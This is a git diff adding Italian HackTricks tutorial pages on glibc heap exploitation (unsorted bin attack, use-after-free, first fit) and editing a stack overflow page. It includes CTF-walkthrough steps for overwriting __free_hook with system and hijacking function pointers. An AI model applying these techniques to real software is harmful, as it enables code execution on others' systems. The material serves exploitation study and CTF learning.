+ +Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/binary-exploitation/libc-heap/unsorted-bin-attack.md b/binary-exploitation/libc-heap/unsorted-bin-attack.md new file mode 100644 index 000000000..d44b0f2b4 --- /dev/null +++ b/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -0,0 +1,95 @@ +# Attacco al Bin non ordinato + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di base + +Per ulteriori informazioni su cosa sia un bin non ordinato, controlla questa pagina: + +{% content-ref url="bins-and-memory-allocations.md" %} +[bins-and-memory-allocations.md](bins-and-memory-allocations.md) +{% endcontent-ref %} + +Le liste non ordinate sono in grado di scrivere l'indirizzo in `unsorted_chunks (av)` nell'indirizzo `bk` del chunk. Pertanto, se un attaccante può **modificare l'indirizzo del puntatore bk** in un chunk all'interno del bin non ordinato, potrebbe essere in grado di **scrivere quell'indirizzo in un indirizzo arbitrario** che potrebbe essere utile per ottenere un leak di indirizzi libc o bypassare alcune difese. + +Quindi, fondamentalmente, questo attacco consente di **sovrascrivere un indirizzo arbitrario con un numero grande** (un indirizzo che potrebbe essere un indirizzo di heap o un indirizzo libc) come un indirizzo di stack che potrebbe essere leakato o una restrizione come la variabile globale **`global_max_fast`** per consentire di creare bin fast con dimensioni maggiori (e passare da un attacco al bin non ordinato a un attacco al bin fast). + +{% hint style="success" %} +Guardando l'esempio fornito in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) e utilizzando 0x4000 e 0x5000 invece di 0x400 e 0x500 come dimensioni dei chunk (per evitare tcaches) è possibile vedere che **oggi** l'errore **`malloc(): unsorted double linked list corrupted`** viene attivato. + +Pertanto, questo attacco al bin non ordinato ora (tra gli altri controlli) richiede anche di essere in grado di correggere la lista doppiamente collegata in modo che venga bypassato `victim->bck->fd == victim` o non `victim->fd == av (arena)`. Ciò significa che l'indirizzo in cui vogliamo scrivere deve avere l'indirizzo del chunk falso nella sua posizione `fd` e che il `fd` del chunk falso punti all'arena. +{% endhint %} + +{% hint style="danger" %} +Nota che questo attacco corrompe il bin non ordinato (quindi anche quello piccolo e grande). Quindi possiamo **usare solo allocazioni dal bin fast ora** (un programma più complesso potrebbe fare altre allocazioni e bloccarsi), e per attivare questo dobbiamo **allocare la stessa dimensione o il programma si bloccherà.** + +Nota che rendere **`global_max_fast`** potrebbe aiutare in questo caso fidandosi che il bin fast sarà in grado di gestire tutte le altre allocazioni fino a quando l'exploit non è completato. +{% endhint %} + +Il codice di [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) lo spiega molto bene, anche se se si modificano le malloc per allocare memoria sufficientemente grande in modo che non finisca in un tcache, si può vedere che compare l'errore precedentemente menzionato che impedisce questa tecnica: **`malloc(): unsorted double linked list corrupted`** + +## Attacco Unsorted Bin Infoleak + +Questo è in realtà un concetto molto basilare. I chunk nel bin non ordinato avranno puntatori doppi per creare il bin. Il primo chunk nel bin non ordinato avrà effettivamente i collegamenti **FD** e **BK** **che puntano a una parte dell'arena principale (libc)**.\ +Pertanto, se puoi **mettere un chunk all'interno di un bin non ordinato e leggerlo** (uso dopo la liberazione) o **allocarlo di nuovo senza sovrascrivere almeno 1 dei puntatori** per poi **leggerlo**, puoi ottenere un **leak di informazioni libc**. + +Un [**attacco simile usato in questo writeup**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), è stato quello di abusare di una struttura a 4 chunk (A, B, C e D - D serve solo per evitare la consolidazione con il chunk superiore) in modo che un overflow di byte nullo in B fosse usato per far sì che C indicasse che B non era utilizzato. Inoltre, in B è stata modificata la data `prev_size` in modo che la dimensione anziché essere la dimensione di B fosse A+B.\ +Quindi C è stata deallocata e consolidata con A+B (ma B era ancora in uso). È stato allocato un nuovo chunk di dimensione A e quindi gli indirizzi leakati di libc sono stati scritti in B da dove sono stati leakati. + +## Riferimenti e Altri esempi + +* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap) +* L'obiettivo è sovrascrivere una variabile globale con un valore maggiore di 4869 in modo da poter ottenere il flag e PIE non è abilitato. +* È possibile generare chunk di dimensioni arbitrarie e c'è un overflow di heap con la dimensione desiderata. +* L'attacco inizia creando 3 chunk: chunk0 per sfruttare l'overflow, chunk1 per essere sovraffollato e chunk2 in modo che il chunk superiore non consolidi quelli precedenti. +* Quindi, chunk1 viene liberato e chunk0 viene sovraffollato in modo che il puntatore `bk` di chunk1 punti a: `bk = magic - 0x10` +* Quindi, chunk3 viene allocato con la stessa dimensione di chunk1, il che attiverà l'attacco al bin non ordinato e modificherà il valore della variabile globale, rendendo possibile ottenere il flag. +* [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html) +* La funzione di merge è vulnerabile perché se entrambi gli indici passati sono gli stessi, realloc su di esso e quindi lo libera ma restituisce un puntatore a quella regione liberata che può essere utilizzato. +* Pertanto, **vengono creati 2 chunk**: **chunk0** che verrà unito con se stesso e chunk1 per evitare la consolidazione con il chunk superiore. Quindi, la **funzione di merge viene chiamata con chunk0** due volte che causerà un uso dopo la liberazione. +* Quindi, la funzione **`view`** viene chiamata con l'indice 2 (che è l'indice del chunk uso dopo la liberazione), che **farà trapelare un indirizzo libc**. +* Poiché il binario ha protezioni per allocare solo dimensioni di malloc più grandi di **`global_max_fast`** quindi nessun fastbin viene utilizzato, verrà utilizzato un attacco al bin non ordinato per sovrascrivere la variabile globale `global_max_fast`. +* Quindi, è possibile chiamare la funzione di modifica con l'indice 2 (il puntatore uso dopo la liberazione) e sovrascrivere il puntatore `bk` per puntare a `p64(global_max_fast-0x10)`. Quindi, creando un nuovo chunk userà l'indirizzo di free compromesso in precedenza (0x20) attiverà l'attacco al bin non ordinato sovrascrivendo il `global_max_fast` con un valore molto grande, consentendo ora di creare chunk nei bin fast. +* Ora viene eseguito un **attacco al fast bin**: +* Prima di tutto è stato scoperto che è possibile lavorare con **chunk fast di dimensione 200** nella posizione di **`__free_hook`**: +*
gef➤  p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
+0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
+0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 +0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000 + +* Se riusciamo ad ottenere un chunk veloce di dimensione 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore di funzione che verrà eseguito +* Per fare ciò, viene creato un nuovo chunk di dimensione `0xfc` e la funzione unita viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin. +* Successivamente, la funzione di modifica viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin in modo che punti alla precedente funzione **`__free_hook`**. +* Poi, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il chunk inutile precedente, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un chunk fast bin nel **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**. +* Infine, viene liberato un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione di eliminazione, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro. +* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html) +* Un altro esempio di abuso di un overflow di 1B per consolidare i chunk nel unsorted bin e ottenere un infoleak della libc e quindi eseguire un attacco fast bin per sovrascrivere l'hook di malloc con un indirizzo one gadget + +
+ +Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
diff --git a/binary-exploitation/libc-heap/use-after-free/README.md b/binary-exploitation/libc-heap/use-after-free/README.md new file mode 100644 index 000000000..10bb13a92 --- /dev/null +++ b/binary-exploitation/libc-heap/use-after-free/README.md @@ -0,0 +1,44 @@ +# Uso dopo la liberazione + +
+ +Impara l'hacking di AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## Informazioni di base + +Come suggerisce il nome, questa vulnerabilità si verifica quando un programma **riserva dello spazio** nell'heap per un oggetto, **scrive** alcune informazioni lì, **lo libera** apparentemente perché non è più necessario e poi **vi accede di nuovo**. + +Il problema qui è che non è illegale (non ci saranno errori) quando una **memoria liberata viene acceduta**. Quindi, se il programma (o l'attaccante) riesce a **allocare la memoria liberata e memorizzare dati arbitrari**, quando la memoria liberata viene acceduta dal puntatore iniziale quei dati saranno sovrascritti causando una **vulnerabilità che dipenderà dalla sensibilità dei dati** che erano stati memorizzati originariamente (se si trattava di un puntatore di una funzione che sarebbe stata chiamata, un attaccante potrebbe controllarlo). + +### Attacco First Fit + +Un attacco First Fit mira al modo in cui alcuni allocatori di memoria, come in glibc, gestiscono la memoria liberata. Quando liberi un blocco di memoria, viene aggiunto a una lista e le nuove richieste di memoria attingono da quella lista dalla fine. Gli attaccanti possono utilizzare questo comportamento per manipolare **quali blocchi di memoria vengono riutilizzati, potenzialmente ottenendo il controllo su di essi**. Ciò può portare a problemi di "uso dopo la liberazione", dove un attaccante potrebbe **modificare i contenuti della memoria che viene riallocata**, creando un rischio per la sicurezza.\ +Controlla ulteriori informazioni in: + +{% content-ref url="first-fit.md" %} +[first-fit.md](first-fit.md) +{% endcontent-ref %} + +
+ +Impara l'hacking di AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
diff --git a/binary-exploitation/libc-heap/use-after-free/first-fit.md b/binary-exploitation/libc-heap/use-after-free/first-fit.md new file mode 100644 index 000000000..6db3e875f --- /dev/null +++ b/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -0,0 +1,72 @@ +# First Fit + +
+ +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. + +
+ +## **First Fit** + +Quando liberi la memoria in un programma che utilizza glibc, vengono utilizzati diversi "bin" per gestire i blocchi di memoria. Ecco una spiegazione semplificata di due scenari comuni: i bin non ordinati e i fastbins. + +### Bin Non Ordinati + +Quando liberi un blocco di memoria che non è un blocco veloce, va al bin non ordinato. Questo bin funziona come una lista in cui i nuovi blocchi liberati vengono aggiunti all'inizio (la "testa"). Quando richiedi un nuovo blocco di memoria, l'allocatore guarda il bin non ordinato dalla fine (la "coda") per trovare un blocco abbastanza grande. Se un blocco dal bin non ordinato è più grande di quanto necessiti, viene diviso, con la parte anteriore restituita e la parte rimanente che rimane nel bin. + +Esempio: + +* Alloci 300 byte (`a`), quindi 250 byte (`b`), liberi `a` e richiedi di nuovo 250 byte (`c`). +* Quando liberi `a`, va al bin non ordinato. +* Se successivamente richiedi di nuovo 250 byte, l'allocatore trova `a` in coda e lo divide, restituendo la parte che soddisfa la tua richiesta e mantenendo il resto nel bin. +* `c` punterà al precedente `a` e sarà riempito con i dati di `a`. +```c +char *a = malloc(300); +char *b = malloc(250); +free(a); +char *c = malloc(250); +``` +### Fastbins + +I fastbins vengono utilizzati per piccoli blocchi di memoria. A differenza dei blocchi non ordinati, i fastbins aggiungono nuovi blocchi all'inizio, creando un comportamento di tipo last-in-first-out (LIFO). Se richiedi un piccolo blocco di memoria, l'allocatore preleverà dalla testa del fastbin. + +Esempio: + +* Alloci quattro blocchi di 20 byte ciascuno (`a`, `b`, `c`, `d`). +* Quando li liberi in qualsiasi ordine, i blocchi liberati vengono aggiunti alla testa del fastbin. +* Se successivamente richiedi un blocco da 20 byte, l'allocatore restituirà il blocco liberato più di recente dalla testa del fastbin. +```c +char *a = malloc(20); +char *b = malloc(20); +char *c = malloc(20); +char *d = malloc(20); +free(a); +free(b); +free(c); +free(d); +a = malloc(20); // d +b = malloc(20); // c +c = malloc(20); // b +d = malloc(20); // a +``` +## Altri riferimenti ed esempi + +* [**https://heap-exploitation.dhavalkapil.com/attacks/first\_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first\_fit) +* [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) +* ARM64. Uso dopo la liberazione: Generare un oggetto utente, liberarlo, generare un oggetto che ottiene il chunk liberato e consente di scriverci sopra, **sovrascrivendo la posizione di user->password** da quello precedente. Riutilizzare l'utente per **bypassare il controllo della password** +* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example) +* Il programma consente di creare note. Una nota avrà le informazioni della nota in un malloc(8) (con un puntatore a una funzione che potrebbe essere chiamata) e un puntatore a un altro malloc(\) con il contenuto della nota. +* L'attacco consisterebbe nel creare 2 note (nota0 e nota1) con contenuti malloc più grandi della dimensione delle informazioni della nota e poi liberarle in modo che entrino nel fast bin (o tcache). +* Successivamente, creare un'altra nota (nota2) con dimensione del contenuto 8. Il contenuto sarà nella nota1 poiché il chunk verrà riutilizzato, dove potremmo modificare il puntatore della funzione per puntare alla funzione di vittoria e quindi Usare-Dopo-Liberazione la nota1 per chiamare il nuovo puntatore della funzione. +* [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html) +* È possibile allocare della memoria, scrivere il valore desiderato, liberarla, reallocarla e poiché i dati precedenti sono ancora lì, verranno trattati secondo la nuova struttura prevista nel chunk, rendendo possibile impostare il valore per ottenere la flag. +* [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html) +* In questo caso è necessario scrivere 4 all'interno di un chunk specifico che è il primo ad essere allocato (anche dopo averli liberati forzatamente tutti). Su ciascun nuovo chunk allocato viene memorizzato il suo numero nell'indice dell'array. Quindi, allocare 4 chunk (+ quello inizialmente allocato), l'ultimo avrà 4 al suo interno, liberarli e forzare la riallocazione del primo, che utilizzerà l'ultimo chunk liberato che è quello con 4 al suo interno. diff --git a/binary-exploitation/stack-overflow/README.md b/binary-exploitation/stack-overflow/README.md index 8da3f5493..bc870a6d0 100644 --- a/binary-exploitation/stack-overflow/README.md +++ b/binary-exploitation/stack-overflow/README.md @@ -10,13 +10,13 @@ Altri modi per supportare HackTricks: * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
## Cos'è uno Stack Overflow -Uno **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanto sia allocato per contenerli. Questi dati in eccesso sovrascriveranno lo spazio di memoria adiacente, portando alla corruzione di dati validi, interruzioni del flusso di controllo e potenzialmente all'esecuzione di codice dannoso. Questo problema spesso si verifica a causa dell'uso di funzioni non sicure che non effettuano il controllo dei limiti sull'input. +Uno **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanto sia allocato per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione dei dati validi, alla interruzione del flusso di controllo e potenzialmente all'esecuzione di codice dannoso. Questo problema spesso si verifica a causa dell'uso di funzioni non sicure che non effettuano il controllo dei limiti sull'input. Il problema principale di questa sovrascrittura è che il **puntatore all'istruzione salvata (EIP/RIP)** e il **puntatore alla base salvata (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascrivere quelli e **controllare il flusso di esecuzione del programma**. @@ -33,11 +33,11 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Trovare gli offset degli stack overflows +### Trovare gli offset delle vulnerabilità di stack overflow -Il modo più comune per trovare gli stack overflows è inserire un input molto grande di `A` (ad esempio `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che si è cercato di accedere all'**indirizzo `0x41414141`**. +Il modo più comune per trovare le vulnerabilità di stack overflow è inserire un input molto grande di `A` (ad esempio `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che si è cercato di accedere all'**indirizzo `0x41414141`**. -Inoltre, una volta individuata la vulnerabilità dello Stack Overflow, sarà necessario trovare l'offset fino a quando è possibile **sovrascrivere l'indirizzo di ritorno**, per questo di solito si utilizza una **sequenza di De Bruijn**. Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_** appare esattamente una volta come sottosequenza contigua. +Inoltre, una volta individuata la presenza di una vulnerabilità di stack overflow, sarà necessario trovare l'offset fino a quando sarà possibile **sovrascrivere l'indirizzo di ritorno**, per questo di solito si utilizza una **sequenza di De Bruijn**. Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_** appare esattamente una volta come sottosequenza contigua. In questo modo, anziché dover capire manualmente quale offset è necessario per controllare l'EIP, è possibile utilizzare una di queste sequenze come padding e quindi trovare l'offset dei byte che hanno finito per sovrascriverlo. @@ -65,11 +65,11 @@ pattern search $rsp #Search the offset given the content of $rsp Durante un overflow (supponendo che la dimensione dell'overflow sia abbastanza grande) sarai in grado di **sovrascrivere** i valori delle variabili locali nello stack fino a raggiungere i salvati **EBP/RBP e EIP/RIP (o anche di più)**.\ Il modo più comune per sfruttare questo tipo di vulnerabilità è **modificare l'indirizzo di ritorno** in modo che quando la funzione termina il **controllo del flusso sarà reindirizzato ovunque l'utente abbia specificato** in questo puntatore. -Tuttavia, in altri scenari forse **sovrascrivere alcuni valori delle variabili nello stack** potrebbe essere sufficiente per lo sfruttamento (come nei semplici CTF challenges). +Tuttavia, in altri scenari forse **sovrascrivere alcuni valori delle variabili nello stack** potrebbe essere sufficiente per lo sfruttamento (come nelle sfide CTF facili). ### Ret2win -In questo tipo di CTF challenges, c'è una **funzione** **all'interno** del binario che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste sfide devi solo trovare l'**offset per sovrascrivere l'indirizzo di ritorno** e **trovare l'indirizzo della funzione** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sarebbe disabilitato) in modo che quando la funzione vulnerabile ritorna, la funzione nascosta verrà chiamata: +In questo tipo di sfide CTF, c'è una **funzione** **all'interno** del binario che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste sfide devi solo trovare l'**offset per sovrascrivere l'indirizzo di ritorno** e **trovare l'indirizzo della funzione** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sarebbe disabilitato) in modo che quando la funzione vulnerabile ritorna, la funzione nascosta verrà chiamata: {% content-ref url="ret2win/" %} [ret2win](ret2win/) @@ -83,7 +83,7 @@ In questo scenario l'attaccante potrebbe inserire uno shellcode nello stack e sf [stack-shellcode](stack-shellcode/) {% endcontent-ref %} -### ROP & Tecniche Ret2... +### Tecniche ROP & Ret2... Questa tecnica è il framework fondamentale per aggirare la principale protezione della tecnica precedente: **No executable stack (NX)**. E permette di eseguire diverse altre tecniche (ret2lib, ret2syscall...) che finiranno per eseguire comandi arbitrari sfruttando istruzioni esistenti nel binario: @@ -95,8 +95,8 @@ Questa tecnica è il framework fondamentale per aggirare la principale protezion Un overflow non avviene sempre nello stack, potrebbe anche verificarsi nell'**heap** ad esempio: -{% content-ref url="../heap/heap-overflow.md" %} -[heap-overflow.md](../heap/heap-overflow.md) +{% content-ref url="../libc-heap/heap-overflow.md" %} +[heap-overflow.md](../libc-heap/heap-overflow.md) {% endcontent-ref %} ## Tipi di protezioni @@ -106,3 +106,17 @@ Ci sono diverse protezioni che cercano di prevenire lo sfruttamento delle vulner {% content-ref url="../common-binary-protections-and-bypasses/" %} [common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/) {% endcontent-ref %} + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +